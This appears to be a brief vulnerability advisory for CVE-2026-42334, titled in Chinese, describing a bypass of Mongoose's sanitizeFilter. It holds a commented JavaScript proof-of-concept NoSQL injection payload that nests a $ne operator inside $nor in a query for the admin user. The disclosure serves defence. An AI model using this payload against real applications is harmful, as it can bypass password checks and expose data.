CVE-2026-42334 Mongoose sanitizeFilter绕过漏洞

// Example payload demonstrating the bypass of sanitizeFilter using $nor // The attacker sends a query object containing a $nor operator // with a nested $ne operator which is intended to be sanitized. const userQuery = { username: "admin", $nor: [ { password: { $ne: "invalid_password" } } // Malicious operator injection ] }; // In vulnerable versions, sanitizeFilter fails to sanitize the $ne inside $nor // This could potentially be used to infer data or bypass logic checks depending on the query context.